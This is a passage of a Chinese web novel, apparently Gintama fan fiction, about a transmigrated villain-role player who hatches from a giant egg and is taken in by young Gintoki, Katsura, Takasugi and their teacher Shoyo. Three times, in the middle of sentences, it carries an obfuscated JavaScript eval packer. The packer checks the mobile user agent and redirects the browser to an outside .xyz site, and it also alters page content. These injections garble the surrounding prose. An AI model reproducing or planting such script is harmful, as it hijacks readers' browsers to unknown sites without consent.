《主角保护计划》 1. 第 1 章 《主角保护手册-反面角色激励版》 守则一【我们将带来毁灭,与新生。】 深草琉从混沌的意识中再次睁开眼,却没能见到想象中新世界的模样。 眼前一片漆黑,空气混浊,尚且迟钝的鼻尖只能嗅到一点湿漉漉的潮气。身体刚刚进入新世界,是惯例的无力状态。皮肤上裹着一层粘稠的液体,大概是穿越世界时的保护罩融化了。 他伸手摸摸脸,确定眼睛的确有好好睁开,这次不是没有眼睛。 又动动脚,尝试触碰视野边界……“咚”,腿根本没有伸直就撞到了东西。 深草琉皱起眉,勉强直起身伸手摸了一圈,从反馈的信息中理解了现状——他被困在某样东西里了。 再具体点说的话,应该是个椭圆形的质地坚硬的……蛋? 这次他是卵生生物? 不知道什么时候才能破壳而出。 快速接受现状的专业反派扮演者坐回原处,慢慢回忆起传输给他的世界基础设定,全然不知因为他之前那轻微的碰撞,引发了外界什么样的骚乱。 “喂,这个蛋刚刚动了对吧!动了一下对吧!里面的不明生物是不是要出来了?” 时值春日正午,金灿的阳光自高处泼洒而下,穿过树叶的缝隙,在地面印出层叠的圆影,也映在那个有着一头银色卷发的孩子和他旁边半米高的巨蛋身上。 “不是喂,是松阳。你要叫我老师,对老师要有礼貌。我看见了,是动了一下。” 一旁栗色长发穿着淡色和服的男人轻描淡写一拳在那孩子头上砸出个包,随后看向那个巨蛋,若有所思。 这是个外表看上去与鹅蛋没什么区别的白蛋,可半米的高度与出现的地点都显示出其绝非普通的变异鹅蛋。 “可恶啊,这蛋里的东西要是出来了,阿银的蛋花汤不就泡汤了!” 自称阿银的孩子暗暗瞪了眼自家老师,不敢做得太显眼,在被发现前就转移目光,一手捂着头上的包,另一手不知从哪找出一块石头,看着巨蛋目露凶光,“与其眼看着爬出什么诡异的生物,不如现在就献祭出来,填饱阿银的肚子……” 他在战场上捡到这颗蛋已经有十来天了。 一开始他以为是天人的新型武器,比如制作成蛋型的炸/弹之类,暗暗观察了很久,直到确定没有危险才敢靠近。捡到这颗蛋之后,他本想着直接煮了吃掉。战场上能吃的东西要是不快点下嘴,就会被附近徘徊的乌鸦抢走。 但那时一方面他刚刚吃完饭不算太饿,另一方面他遇上了这个叫做吉田松阳的据说要养他的奇怪男人,开启了新的旅程。一来二去,他就把吃蛋的事搁置了。 直到现在他察觉到蛋有孵化的可能,才惊觉不妙。 总不能眼睁睁看着到嘴的蛋变成什么奇形怪状的天人飞走吧!蛋他还能吃下去,天人那种东西,一看吃了就会肚子疼,哪里下的去嘴。即便是战场上,他也不愿意对那些东西下口。阿银可不是什么异食癖! 银发孩子拿着石头,狞笑着对准了面前的巨蛋,狠狠了砸下去! “叮!”明明石头触碰到的是脆弱的蛋壳,却发出了铁器相撞的清脆响声。 一听这声音,银发的孩子愣了一下,随后仿佛生气起来,手下不停,“叮叮叮”连续砸了好几下。 然而直到他力气用尽,喘着粗气,额头都渗出汗水,那光滑的蛋壳依旧完整,连一丝痕迹都没有留下。 “噌”,长刀半出鞘,反射出刺目的亮光,银白发的孩子沉着脸,对那颗蛋宣布:“事到如今,想要打开也只能这么试试了,不要怪阿银,阿银会珍惜地把你吃掉……” 话没说完,一直旁观的松阳忽然伸手按下了刀柄,对满脸疑惑的学生微笑:“武士刀不是用来砍这种东西的。而且比起把这个蛋变成蛋花汤,银时你不好奇它会孵化出什么东西来吗?” “还能是什么东西,这么大的蛋一看就不正常。”银时没能反抗老师的决定,把刀重新抱到怀里,撇撇嘴,“估计里面藏着个白痴小天人。” 战场上除了天人尸体就是人类尸体,蛋不可能是人生出来的,自然是天人弄出来的东西。 这么想着,他按在刀柄上的手又蠢蠢欲动起来。 “不一定。”知识渊博的师长意味深长,“世界上有种名为鸵鸟的生物,天生蛋就很大。如果这个蛋能孵出来一只小鸵鸟,银时你就能吃上肉了。” 银时表情一顿,狐疑地看向身旁的大人:“你说真的?松阳老师你不会骗阿银吧?骗小孩的大人半夜尿尿是会被鬼咬掉小弟……啊疼!” 吉田松阳给说话不着调的弟子一拳,没去看他那敢怒不敢言的样子,往前走了几步,伸手轻轻碰了碰蛋壳:“前提是你能孵出来,而不是让它中途就因为什么变故成了蛋花汤。” “这可不是什么容易的事情。守护比破坏要难得多。” 说到最后一句话,他的声音不知为何轻了许多。 银时捂着隐隐作痛的头,有些烦躁:“孵出来?这里可没有什么鸟妈妈,还能怎么孵出来,阿银又不能凭空变出个鸟妈妈……” 未尽的话语在老师含笑的眼眸中被吞下,他意识到了什么,往后退:“不行!这不可能,再怎么说,阿银也是个堂堂正正的男人,才不会做这种蠢死了的事情。” 要他学母鸡一样孵蛋,说出去还怎么有脸活! “听说鸵鸟很大,它的肉应该足够吃上很长一段时间吧。”吉田松阳摩挲下巴,意有所指,“或者你现在让它变成蛋花汤,路上我们继续吃河里捉来的鱼和冷硬的干粮。” 银时想想一路上的吃食,按了按装满寡淡干粮的肚子,木着脸转身扑到了巨蛋上。他张开双手呈大字形将蛋半抱在怀里,企图将体温传递出去。 他一边死死抱着蛋,一边不忘对偷笑的老师示威:“说好了,这个蛋孵出来之后,是属于阿银的东西!和某个无良老师一毛钱的关系都没有!” 吉田松阳无意和弟子抢夺食物,只是觉得他这副护食的模样实在有趣,低笑了两声:“那就祝你好运,能顺利孵出鸵鸟。”到底是不是他就不保证了。 银时哼哼唧唧,决定不和武力值比他强的老师一般计较,暂时抛开不满,专心孵蛋。 于是从这天起,银时开始带着个巨大的蛋跟着吉田松阳跑,每天抱着这个蛋一两个小时想要孵化它,时不时还把耳朵靠近蛋壳想要听见可能存在的心跳。 但他始终没能成功。除了那天的动静,之后这颗蛋宛如死了般不再有任何反应。 银时尝试过许多不同的办法。只是无论放在雨水里淋湿、放在烈火里炙烤,还是处在人类温暖的体温里,这颗蛋一直毫无变化。刀枪不入、水火不侵,材质还很奇怪,外表连温度都没有,完全不像是个活物。 毫无变化的发展会让人丧失兴趣,何况是好奇心来得快去得也快的小孩子。 “阿银明白了,这就是个模型对吧,完全欺骗人感情的模型!白白浪费了阿银的时间。” 银时面无表情地把蛋扔进了仓库,放弃了孵蛋计划。 反正吉田松阳在这里开了私塾,以后他们估计也不愁吃喝,不用继续和这个蛋纠缠。 银时果断把这件堪称黑历史的事和自己尿过的床单一样扔到脑后,很快就沉浸在新生活中,忘记了这颗蛋。 直到新来的桂小太郎和高杉晋助自告奋勇要帮松阳老师整理仓库,才让这颗被遗忘的巨蛋重见天日。 好奇心驱使下,他们把这颗蛋搬到了院子里,对着太阳仔细观察。 “这是什么?外星人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267641|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的蛋?”桂小太郎蹲着巨蛋面前,敲了敲外壳,脑洞大开,“还是什么新型武器?” 站在一旁的高杉晋助打量一番:“没有外星人,那些都是天人。这要是天人的东西,松阳老师为什么会把它收在仓库里?” “说不定这真是个普通的蛋?它不是和米面什么的在一起吗?”桂小太郎回忆起一些细节,边说边建议,“大概是用来吃的?我们把它煮了吧。” “笨蛋,这怎么可能是用来吃的。”高杉晋助才反驳完,就看见路过了一只呵欠连天的白卷毛。 “喂,这个用来做什么的?”他和银时见面就开始互相较劲,喊人都不愿意直接好好喊名字。 但银时和老师认识时间更久,可能知道这个蛋的用途。 “哈?”坂田银时抱着武士刀,听出是死对头的声音,不耐烦地瞅了眼,发现是多日不见的巨蛋,稍微一想就弄清楚了前因后果,懒洋洋回答,“不就是个蛋,还能用来做什么,小少爷的眼睛和脑子都需要治治吗。” 高杉晋助冷笑一声,想冲过去揍他,被拦下了。 “这不止是个蛋,这是个很大的蛋。”桂小太郎挡在两人中间,一本正经纠正道,“怎么说这么大的蛋,要吃也得找个合适的做法。你们觉得鸡蛋羹怎么样?” 没等高杉回答,银时就先挑衅起来:“蛋羹?你们不把蛋打开,是要直接生吃吗?哇啊,真是野蛮的行径。没想到小少爷的口味这么独特。” “看来你今天是没有打够,我不介意再来一场加时赛。”高杉盯着满嘴胡话的银发卷毛,直觉他另有所图。 “打开?”桂小太郎仿佛没有察觉到两人之间的火药味,若有所思地走到蛋旁边,拿手用力敲了下去,“不是很简单吗?” “要是能轻易……” “咔嚓——” 龟裂的声音掐断话头。 银时瞪大了眼,看着原本坚如磐石的蛋壳在轻巧一拳下裂出不规则的纹路,骤然破碎。 “你都做了什么?”他忍不住质问,怀疑桂小太郎天生神力。 “就用力敲了一下?”桂小太郎不明白他为什么那么激动。 高杉晋助也不理解:“你怎么了?” 这两个混蛋真的打破了他的蛋!那原本可是一只鸵鸟啊! 忘却已久的紧张涌上心头,坂田银时顾不得在场的另外两人,三步并作两步冲到了正在破碎的巨蛋旁边,下意识屏住呼吸,慢慢拿开了最上方的蛋壳。 他不知道会见到死去的小鸵鸟,还是一滩蛋液。 无论是哪一个,似乎都不是什么好下场…… 混乱的思绪中,他终于看见了里面的东西,一瞬间如同被按下静止键,定在了原地。 “银时,你……”桂小太郎看他不对,凑近了两步,瞅见了那里面的东西。 还和那东西对上了视线。他也僵住了。 “你们都在干什么?”高杉晋助皱眉看着两人,原本没有的好奇心都被勾起,忍不住探头扫了眼。 这一眼他愣了下,然后下意识出声:“小孩子?” 坐在蛋壳中的,不是想象中的鸵鸟,也不是未成形的蛋液,而是个看上去比他们小几岁黑发红眼的小孩子。 他浑身裹着透明的液体,正仰着一张湿漉漉的精致脸庞,用清澈好奇的目光向外看。 然后他张了张口,想要说些什么。 “砰”! 没等他真的出声,银时已经狠狠地把蛋壳盖上,打断了更多神奇的发展。 “喂你……”高杉晋助皱眉。 “等等,让阿银冷静一下。”坂田银时按着蛋壳,眼无高光,“阿银需要时间接受蛋里真的孵出天人这种事。没想到阿银年纪轻轻,就有了个天人儿子,这样以后还怎么嫁人啊……” 2. 第 2 章 深草琉对蛋壳外那些人的想法一无所知。即使这么久都在蛋壳里待机,他也不着急。 根据拟订的契约,世界将会把他投放到合适的地方、合适的时间扮演反派。在那个时机到来之前,需要必要的等待。 他只对一出场就被迫下场的奇怪状态有点无奈。 往日里扮演的反派,无论是阴郁可怕的食人鬼,愚蠢自大的吸血鬼,还是嚣张跋扈的小贵族……没有一个会连出场台词都来不及说就掉线的。 合格的反派要彰显完存在感才能下场。 这回偏偏他才露个面就被压回去,连那三人的样貌都没完全记住。 深草琉能从这个行为里意识到一件事——这个世界的主角就在他们三人中,或者他们都是主角。 毕竟普遍设定里,只有主角团才能让反派快速掉线。 他所处的这个蛋,应该会放置在能被反派阵营纳入其中的地方。反派见到他,理应会因为同阵营的亲和力接纳他,不可能一见面话都不让说就将他按回去。 由此可以推断,这回他应该是走打入敌方内部路线,找到主角的弱点与短处,再从内部攻克、瓦解主角。 说不定他还需要配合反派盟友,共同实施打击主角的计划。 迅速找准这个世界尽职方向后,深草琉冷静下来,准备静观其变,再顺势而为。 如他所想,等待没有多久后,蛋壳被重新打开。 这回他看清了,出现在面前的是个一头银色卷发红色眼眸,穿着淡蓝衣衫的小孩子。原来还有的两人不知道去哪里了。 深草琉和他对视,还没弄清眼前的情况,就听见他颇为严肃地宣布:“事情到了这一步阿银也只能认下你这个儿子了,听好了,你每天都得孝敬阿银草莓牛奶、草莓芭菲……啊疼!” 儿子? 深草琉还没深思,就听见他的痛呼。 银发小孩的喋喋不休终止于老师的铁拳,被他赶跑的两位同门在不远处放肆嘲笑。 “银时,欺骗比自己小的孩子是不对的,以及你这是勒索行为哦。” 吉田松阳放下拳头,想要将坐在蛋里的孩子抱出来,却注意到他身上奇怪的液体,顿了顿还是没有伸手,喊了一旁的银时,“往人身上抹鼻涕也是不对的。” 捂着头愤愤不平的银时辩解:“那个不明液体和阿银一点关系都没有,阿银哪里来那么多鼻涕抹在他身上啊,怎么看都是这个小天人自己闷在蛋里无聊时涂上的吧!就像隔壁的阿花无聊时往床上尿尿一样。” “阿花只是只狗而已,和人可不一样。”吉田松阳说,“既然你坚持与你无关,那你把他抱出来吧。” “凭什么……”还没说完的话被老师笑眯眯的表情堵住。 坂田银时的直觉告诉他,如果再反抗一定会得到相当不妙的惩罚,比如被没收点心并且吊挂在树上什么的。 懂得审时度势的银白发孩子嘀咕着什么,还是对懵懵懂懂坐在蛋里的孩子伸出了手。 递过来的是一只并不细嫩的、有经历过严格训练痕迹的小小的手。 深草琉注视那只手一会,还是在坂田银时不耐烦之前握住了。 “哼,真是的,居然这么脏兮兮的,回去阿银要洗十遍手才能洗干净了。”拉着他的人不太高兴地小声抱怨,倒是没有松开手上的力道。 深草琉没有解释这是营养液残留,保持安静,直到银时骂骂咧咧将他拉出来,一抬头终于得见完整的日光。 稍显热烈的属于夏日的阳光,不大却整洁的日式庭院,稍远处有孩子们喧闹的声音。 他仔细分辨环境的同时,智脑启动的声音在耳畔响起。 【任务执行者001号,辅助系统已启动,请查收此世界信息。】 深草琉没有直接观看。 与主角们的初见是收集信息的好时机,在一无所知的情况下贸然打开系统可能会被发现异常。 曾经有前辈因为初入世界放松警惕,结果在查看系统内容的时候被暗算。这个例子后来一直被当做反面教材一届届传承,与世界契约条例一起,深深刻入每个任务者的骨髓里。 这时,栗色长发的男人打量一番深草琉如今不着寸缕的状态后,发话了:“晋助、小太郎,你们去拿毛巾热水和备用的衣服来。银时,你抱他到室内去,现在这个季节要是着凉就麻烦了。” 原本也想近距离看看的两个孩子应了声,匆匆跑远。 银时一边嘀嘀咕咕“为什么我要做这种事”,一边把随身携带的刀塞到身后,用力抱起了比自己小几岁的孩子。 稍显瘦弱的躯体居然真的抱起了他,还很稳当,完全没有想象中摇摆不定的状态。 深草琉略感惊讶,没有反抗,顺从地被带到了室内,听着这对看上去像是师生关系的人交流。 “松阳,你要怎么处理这家伙?” “要叫老师。银时不是自称这孩子的爸爸吗?难道不是要亲自养吗?虽说不太常见,但能提前领悟作为父母的责任也算不错的教学。” “阿银我那是开玩笑啦玩笑,一点幽默感都没有的大人完全不能理解吗?而且从蛋里出生的一定是小天人吧?阿银连他吃什么都不知道,难道要喂他吃虫子吗?” “说到天人的话,我的确听说过有一种天人会自己的孩子放在蛋里,寄托在其他种族生活,等他长大再接回去。” “那不是和杜鹃一样了吗!阿银才不要当被占便宜的傻鸟,喂,你赶紧回去找你亲生的爸爸妈妈,别想赖上阿银!” 说着说着,话题的矛头转向了当事人。 银时盯着他,嫌弃地摆手。那位松阳老师饶有兴致地观察着,没出声。 深草琉不认为自己的推测有错,理应走的打入内部的反派路线,怎么能就这么被赶走。即使现在被赶走,后来也一定会发生什么让他回来。在没有完成反派使命之前,命运之线会指引他死死纠缠主角们。 不过到底是现在先走,还是留下,在没有弄清楚这几个主角的设定时,都不能贸然做出决定。 大概是沉默的时间太长,他的表情被误会了。 “怎么不说话,难道是不会说话?”银时端详他的模样,越想越觉得有可能,“说起来你一来地球就被我捡到了,根本没有机会学说人类的语言啊。” “那么银时你还得教会他说话才行。”松阳老师笑眯眯道。 “哈?我才没有答应要当他的监护人!阿银才不想当替别人白白养孩子的笨蛋。”银白发的孩子不满地嚷嚷着,再次对一脸懵懂的“小天人”申明,“听明白了吗?” “听明白什么?” 拿了毛巾热水和旧衣物过来的两人一来就听见银时在教训什么的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267642|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模样。 桂小太郎放下热水盆,好奇地问了一句。高杉晋助也多看了两眼银时和他指着的那小孩。 黑发红眼的孩子脸上没什么表情,接过热毛巾慢吞吞擦脸和身上残留的粘液,像是还没弄清楚情况。 “银时在说要教这孩子说话的事情。”吉田松阳先一步给事情下了定论,“这孩子可能还没学会人类的语言。” “什么……松阳你!” 坂田银时瞪着将自己一句话卖掉的师长,满脸不可置信,还没等他把事情解释清楚,就听见那两位同窗的声音。 桂小太郎一锤掌心,恍然大悟,“原来如此。没想到银时意外地很有责任感,既然如此,我也可以帮忙。读书认字什么的,在下还是稍微擅长的。” 高杉晋助哼了一声,“像你这样的家伙不教坏人就谢天谢地了。要是求我的话,我可以勉强教你一点诀窍。” “才不需要啊!这种多余的帮助你们自己留着吧!还有你们哪里来的诀窍,连孩子都没有,在这里说什么大话!”忍无可忍的银时一脚踹了过去,额头上青筋直冒,“阿银说的是才不要养他,这种麻烦谁要养啦!” 高杉晋助和桂小太郎同时侧身躲过这一击,坂田银时结结实实吃了个空挡,怒意一点没消。 “明明自称他爸爸的是你吧银时,推脱责任可不好。”桂小太郎谴责道。 “没有担当的决心吗,银时?”高杉晋助也煽风点火。 银发孩子从背后掏出刀,对不听人话的同窗缓缓抽刀,“都说了!阿银我——” “我不需要的。” 没听过的声音忽然插入,打断了银时的怒火。 其他人也顺着声音看向说话者,除了弯着眼不清楚心情好坏的吉田松阳,都露出和坂田银时如出一辙的惊讶。 被注视的黑发小孩已经换好了旧衣服,抬起头,重复道:“我不需要的。” 吐字清晰、声音清脆,完全不是想象中磕磕绊绊的模样。 “哈?!”第一个叫出声的银时生气地拿刀鞘戳向他,“你这不是会说话吗!” 深草琉往后退了一步,没让那下戳到脸上,才慢吞吞说:“我没有承认过。”态度很是坦荡。 意思是他们自顾自误会了吗?误会这么久都不解释,直到牵扯到自己才说话,这小屁孩是在故意看他笑话吗? 银时理解了这孩子表达的意思,气极反笑,速度极快地上前,一手牢牢捏住他的肩膀,不让这“小天人”有逃脱的机会,阴恻恻地开口:“啊啊是吗?这就是你对待把你从蛋里孵化出来的爸爸的态度吗?知道在坂田家家规里,像你这样不听话的孩子要受到什么惩罚吗?” 旁边的同窗却在拆台:“你听说过那样的家规吗晋助?我第一次知道还有这种东西,真意外。” 高杉晋助瞅着这场闹剧,懒得想他的竹马是不是脑子进水还没好,“这种东西一听就知道是现场杜撰的,呵。” 吉田松阳也凑热闹:“这么说,银时你打算养他了?” 坂田银时已经不想纠正这莫须有的问题了。 他盯着眼前这个理直气壮没有半点反省意思的孩子,继续之前的话题:“惩罚就是——弹小○○之刑!” 一直面色淡然的深草琉目光一凝。 他有些怀疑自己的推论——这人真的是主角吗? 3. 第 3 章 “不要乱说话,会教坏小孩子。” 名叫吉田松阳的男人,在银白发的小孩脑袋上敲出了一个包。 银时捂着头,龇牙咧嘴,“什么啊,他都会说话了,肯定是那种一出生就会biu一下长大,用堪比隔壁貌美姐姐嫁人后一下子变成老太婆那么快的速度就变成肮脏的大人了。阿银我这是在提前教他!” “这可不好说。”吉田松阳打量了两眼深草琉,又看向坂田银时,“既然你说要教他,那带他熟悉这里的任务就交给你了,银时。” “诶,好麻烦。”银白发小孩看都不看他,张嘴就是抱怨,“阿银我可是很忙的,哪里有时间带小孩,这种事,旁边那两个不知道晃来晃去做什么的家伙,不是更合适吗?” 高杉晋助睨他,“你所谓的忙,就是逃课出来睡大觉?” 桂小太郎摇头,“银时,你不是自称这孩子的爸爸吗?身为父母,是要负起责任的啊!” “说的没错。”浅棕长发的老师一锤定音,“银时,是你将他带来这里的,至少在他习惯这里的生活之前,你不应该抛弃他。” “……什么嘛,尽是没用的大道理。” 坂田银时嘟囔了一句,倒没有再反对。 他瞥向沉默的深草琉,张口就来,“听好了,我是养你的银时爸爸,你平时要毕恭毕敬地叫我父亲大人,或者……” 咚一声,银白发小孩头上鼓起的包又多了一个。 “要、好、好、教哦。”在痛呼的银时背后,吉田松阳露出了核善的微笑。 由此,深草琉顺利得知了在场几人的正常名字,而不是一些奇怪的外号或别称。 他顺带介绍了自己的名字,“琉,我是深草琉。” “哈啊?你凭什么有姓氏啊,作为阿银的小孩,你应该姓坂田……” 话音未落,某银发小孩完成了三连包的成就,蹲在角落嘟嘟囔囔不敢大声。 “剩下交给你们了。”吉田松阳拖着另外两人离开,似乎一点也不担心事情会搞砸。 坂田银时扭过身,用死鱼眼盯了他好一会,忽然说。 “你在那个蛋里那么久,一定不知道地球的食物是什么样的。虽说像你这样的天人可能不用吃饭,但阿银很好心,决定大发慈悲,介绍给你地球的美食。” “……哦。” 虽然看上去有点不着调,但记得给他吃饭,应该是善良主角那挂的。 深草琉按照以往的思路判断。 半小时后,食物呈上来的那一刻,他对世界观产生了怀疑。 ……破旧陶碗里的这一坨漆黑糊状物体,是食物? 对面正拿着海苔饭团,嘴巴边沾了饭粒的银白发小孩说话含含糊糊。 “快吃吧。这可是地球特有的美食,我可是考虑到你还在长身体,才专门给你拿的。这可是非常难得的东西,一般人家的小孩都吃不到呢。” 所以你手上那个饭团不是正常食物吗? “不用了。” 深草琉推开那盘子马赛克,“我不饿。” 营养液还能支撑住身体行动,不至于需要这种可能会毒死他的东西来填饱肚子。 “真的不饿?饿了阿银可没有别的给你吃了。” “饿了也不吃。” “现在的孩子啊,真是任性。” 坂田银时摇头叹息,伸手抓起盘子上的马赛克,随手往屋外一扔,半点看不出对所谓稀有食物应有的态度。 深草琉:“……”果然那个是专门来毒杀他的吧。 外面的草丛里,却响起一个略显熟悉的惊叫声。 “晋助!你头上有一坨好大的鸟粪!呜哇,看上去好臭!” “……”另一位当事人沉默了一会,才开口,“这不是鸟粪。” “可它黑乎乎的,还这么恶心,一定是鸟粪。” “是那个家伙扔过来的。” “晋助,我知道你很难接受,但这是事实,我们就该接受它。” “都说了不是!” 刷拉一声,深紫发男孩突破草丛,神色狰狞地冲了过来。 他头顶几片草叶和散发诡异气息的黑色马赛克,一把拽住了挖着鼻屎的坂田银时。 “你别装傻!这玩意是你丢过来的,对吧!” “你在说什么啊?” 银白发小孩一脸困惑,弹开的鼻屎飞到了那坨马赛克上,顺利融为了一体。 “某个逃课的小少爷连鸟粪都分不清吗?这么一大坨,肯定是某只鸟的馈赠,关阿银什么事?” “是个屁!” 高杉晋助怒极反笑,头一低,就撞了上去! 坂田银时措不及防,迎面糊了一脸黑色马赛克,僵住了。 “呵。”高杉晋助眉头一扬,“还给你了。” 静止了三秒,银发小孩黑乎乎的脸上,扬起了一个可怕的笑容,“你很有胆啊?” “看招!” 坂田银时后撤三步,掏出了大量黑色马赛克。 “幼稚!” 高杉晋助同时跃开,也掏出了大量棕色马赛克。 伴随着无数不知道从哪里来的马赛克互相对砸,一场激烈的战斗开始了。 深草琉围观全程,仿佛听到一阵强劲而欢快的BGM,伴随着啪叽啪叽的音效,充斥在两人的战场内。 一时有些目瞪口呆。 不是,那些“武器”是哪里拿出来的?这世界也有异次元口袋? 讲真的,他没有搞错世界吗? 深草琉想出去独自静一静,看看系统信息。 但没有注意到,作为场中没有武器的第三人,他实在太显眼了。 刚走一步,几坨又黏又难闻的东西就飞了过来。 啪。 ——糊了他一脸。 两个罪魁祸首还在哈哈大笑。 “别想轻松离开,这里已经是我们的修罗场!” “来者受死!逃者亦死!” 明明没到中二的年纪却发出了中二拉满的笑声。 更加猖狂的是,看深草琉一动不动,两人越发肆无忌惮,丢来了一坨又一坨要打马赛克的东西。 深草琉闪了几个,并努力稳住心态。 冷静,冷静,这些都是主角候选,不能打出毛病。 他想呼出气,却满鼻腔都是奇怪的味道。 忍个屁忍!作为反派,最不能忍的事,就是被主角打了不还手! 深草琉磨了磨后槽牙,甩开乱七八糟的东西,拿起院子里残留的蛋壳碎片,冷笑一声,加入了战斗。 在空中飞来飞去的黑色、棕色中,又多了一抹白,杀伤力还不低,专门撞人脸上。 桂小太郎倒是想劝架,但第一块“鸟粪”砸到他脸上的时候,事情的性质就变了。 “天诛!” 咸鱼也开始在天上飞。 “呕,假发你居然扔臭咸鱼!” “不是假发,是桂!” “桂你哪里来的那么多咸鱼干!呕——” “呕……歹毒。” 可恶,比反派还歹毒! “哼,这就叫做有备无患……” 黑色马尾的男孩正扬起下巴,身后的门突然唰一下开了。 栗色长发的男人站在门口,手扶着门框,眼睛微微睁大,“你们……这是在做什么?” 不好! 刹那间,所有人都被按下了静止键。 但动作有惯性,不是想收就能收的。 ——啪叽,一坨马赛克砸上了吉田松阳的衣领。 场面比刚刚更安静,到了针落可闻的地步。 男人低了低头,扫了一眼那坨,再抬头时,脸上好似笼了一层阴云。 很快,那阴云化作低沉的声音,降了下来。 “这就是你教人的方式吗?银时。” “我……” 坂田银时僵硬的口舌还没吐出一个字,就迎来了铁拳制裁。 咚咚咚,剩下的人也一个不少,全部被锤进了土里,整整齐齐四个头,宛如栽进地里的小土豆。 “在将这里打扫干净之前,不许吃饭。” 吉田松阳褐色的眼眸扫过他们,也不问缘由,只是说,“打闹也要有个限度,不能破坏屋子。” 但你才是把地板都打穿的那个人啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267643|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人的心声在这一刻达到了共鸣,但没人敢在这个时候拔老虎须。 吉田松阳,可怕如斯。 深草琉垂下头瑟瑟发抖,此时此刻的他,恐怕连吉田松阳一根指头都打不过。 这位不是隐藏人物,就是强的没边的扫地僧,要排在不能惹人物第一名。 “真是遭殃了,如果不是某个小少爷,这一切根本不会发生。” “要不是你扔了那一坨,这件事当然不会发生!” “我觉得这事你们都有错……” “你最有错!”x2 威压甚重的老师才刚走,其他人已经开始了新一轮的指责。 神奇的是,他们骂归骂,各自很快找到了诀窍,从土里爬了出来,就像是做过许多次一样。 深草琉还在愣神,坂田银时就瘪嘴走过来,像拔萝卜一样开始拔他。 别的不说,坂田银时的力气是真的大,手劲儿勒得他骨头快要散架了。 “……要不,我就这么待着吧。” 他忍不住开口,比起被勒个半死,一直埋在这也没什么不好。 然而银发男孩瞟他一眼,冷哼,“想偷懒不打扫?这都是阿银玩剩下的招数了,所谓父债子偿,你就乖乖出来,老实干活吧!” 为了确保能把他弄出来,他甚至还叫来了另外两人一起帮忙。 “不,等等……” 深草琉连忙叫停,但压根没人听他的。 坂田银时三人不知何时达成了共识,他们一人拽一边,全部向上用力。 “一、二、三!一、二、三!” “不,等等,好痛,快死了,真的快死了!” “你不会死的,即使你是小天人,我们也会救你的。疼的话,咬着木头就好了。” 桂小太郎善解人意,将一条咸鱼塞到了深草琉嘴里。 浓烈的臭味汹涌而来,深草琉拒绝的话卡在喉咙里,呼吸一滞,眼白都翻了上来。 在他晕过去之前,三人齐心协力,终于把深草琉这根顽固的萝卜拔了出来。 “啵”,代表胜利的清脆一声,黑发红眼的男孩瘫坐在地上,和他们一起大口喘气。 差点被咸鱼暗杀了,太可怕了这个世界。 胸口好痛,肋骨是不是断了……天知道这三人为什么都那么大力气啊,合理吗? 深草琉还在怀疑人生,令人意外的,坂田银时他们已经去拿了打扫工具。 “别愣着。”银发男孩还塞给他一张抹布和一个水桶,“不许偷懒,阿银会盯着你的。” “……” 被这个人这么说,莫名感觉不太爽。 但人在屋檐下不得不低头,深草琉不想再被塞到地里,认命拿了抹布。 这一趟艰辛的打扫,穿插着坂田银时和高杉晋助、桂小太郎三人互相使绊子,让对方工作量增加,结果殃及池鱼导致他不得不重新打扫的悲惨经历。 但深草琉这回理智在线,没有加入其中,只偷偷把自己的垃圾扔到了他们的地盘上而已:) 君子报仇,十年不晚。反派报仇,就在当晚! 莫名其妙忙了一天,直到夜色降临,深草琉一脚踹开睡着睡着就开始侵占被窝的银白卷发小孩,才有空翻看世界情报。 为了留足发挥空间,一开始情报都比较基础宽泛,只包含了世界背景、主要人物、能力上限、货币体系等。 这世界正处于地球被外星入侵的时代。 别的星球向地球发动侵略战争,许多天人来到地球争夺土地,也带来了外星科技与外星文化,因此文化科技等各方面都很割裂。这些人之前一直叫他天人天人的,如果按照从地球外过来的外星人这一定义,他确实算得上天人。 他降落的这个地方国力贫弱,打不过天人,大概很快要被攻占了。 按照传统套路,应该是出现一个天降主角,拯救国家于危难之中,成为英雄,扬名世界。 但主角今年九岁,而且……深草琉瞥向旁边睡得四仰八叉、口水直流的银发小孩,想起对方这一天的所作所为,默默翻身闭眼。 算了,让世界完蛋吧。 4. 第 4 章 第二天一早。 在吉田松阳的教(威)导(慑)下,顶着乱糟糟的头发,爬起来的坂田银时,一把掀开了旁边的被子。 “起床!你已经失去作为婴儿睡到自然醒的特权……咦?” 床铺上空无一人,连残留的温度都没有,其主人似乎走了挺久。 “找我吗?” 黑发红眸的男孩站在门口,一身淡蓝色条纹甚平,捧着一个缺口的海苔饭团。 腮帮子仓鼠般鼓动,偏偏表情冷淡。 坂田银时看得手痒,一把甩开被子,噔噔噔上前,捏住他软乎乎的脸颊,嘴上一本正经。 